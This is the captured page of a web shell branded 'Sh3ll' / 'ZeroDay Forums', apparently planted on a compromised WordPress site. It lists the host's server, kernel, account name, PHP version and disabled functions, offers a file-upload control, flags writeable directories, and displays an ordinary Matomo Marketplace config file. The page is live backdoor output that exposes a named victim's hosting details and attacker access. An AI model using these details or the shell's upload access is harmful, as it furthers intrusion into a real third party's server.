Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium84.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : claqxcrl ( 523)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /home/claqxcrl/anfangola.com/wp-content/plugins/matomo/app/plugins/Marketplace/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/claqxcrl/anfangola.com/wp-content/plugins/matomo/app/plugins/Marketplace/config/config.php
<?php

namespace {
    use Piwik\Config\GeneralConfig;
    use Piwik\Plugins\Marketplace\Api\Service;
    use Piwik\Plugins\Marketplace\LicenseKey;
    use Piwik\Container\Container;
    return array('MarketplaceEndpoint' => function (Container $c) {
        $domain = 'plugins.matomo.org';
        if (GeneralConfig::getConfigValue('force_matomo_http_request') == 1) {
            return 'http://' . $domain;
        }
        return 'https://' . $domain;
    }, 'Piwik\\Plugins\\Marketplace\\Api\\Service' => function (Container $c) {
        /** @var Service $previous */
        $domain = $c->get('MarketplaceEndpoint');
        $service = new Service($domain);
        $key = new LicenseKey();
        $accessToken = $key->get();
        $service->authenticate($accessToken);
        return $service;
    });
}

ZeroDay Forums Mini